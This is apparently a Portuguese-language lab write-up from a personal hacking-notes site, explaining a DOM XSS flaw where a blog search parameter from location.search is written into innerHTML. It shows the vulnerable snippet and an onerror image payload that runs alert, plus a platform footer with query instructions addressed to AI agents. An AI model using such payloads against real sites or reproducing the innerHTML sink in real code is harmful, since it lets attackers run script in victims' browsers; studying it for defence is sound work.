> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/dom-xss-with-innerhtml-and-location-search.md).

# XSS DOM com innerHTML e location.search

### XSS no DOM em InnerHTML usando como fonte location.search

Vulnerabilidade de XSS no DOM no recurso de busca do blog. O código recupera o valor de `location.search` e o insere diretamente no DOM via `innerHTML`, permitindo que JavaScript seja injetado e executado quando o valor vem da URL.

<figure><img src="/files/63e97f43322ab4aef1880c5c3ed5676c8a2a223f" alt=""><figcaption></figcaption></figure>

**Trecho do código observado**

```javascript
function doSearchQuery(query) {
    document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
    doSearchQuery(query);
}
```

**Payloads testados**

* Payload simples (não interpretado): / `<script>alert("XSS")</script>`
* Teste para inserir um elemento de imagem:/ `<img src="test"</img>`/ (isso não dispara a execução de script, pois nenhum atributo de evento está presente)

<figure><img src="/files/23684d6b93be45c3a86a95196c2b6f9975536816" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3ce54c4fce5d2ee8e18a2593a10a0537b03feaf6" alt=""><figcaption></figcaption></figure>

Forçar falha de carregamento para acionar um `onerror` handler:/ `<img src=0 onerror=alert("XSS")>` / (Este payload usa o `onerror` atributo de evento para executar `alert` quando o carregamento da imagem falha)

```javascript
<img src=0 onerror=alert("xss")>
```

<figure><img src="/files/bb70d02acd9d1e6e731895f2cef10d77a4cbb4a0" alt=""><figcaption></figcaption></figure>

O script afeta diretamente `innerHTML` com a `parâmetro de busca` o valor da URL; portanto, fragmentos HTML contendo manipuladores de eventos (por exemplo, `onerror`) ou tags executáveis podem levar à execução de código. O `<img src=0 onerror=alert("XSS")>` payload causa um erro de carregamento e executa `alert("XSS")`, demonstrando a vulnerabilidade de XSS no DOM.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/dom-xss-with-innerhtml-and-location-search.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.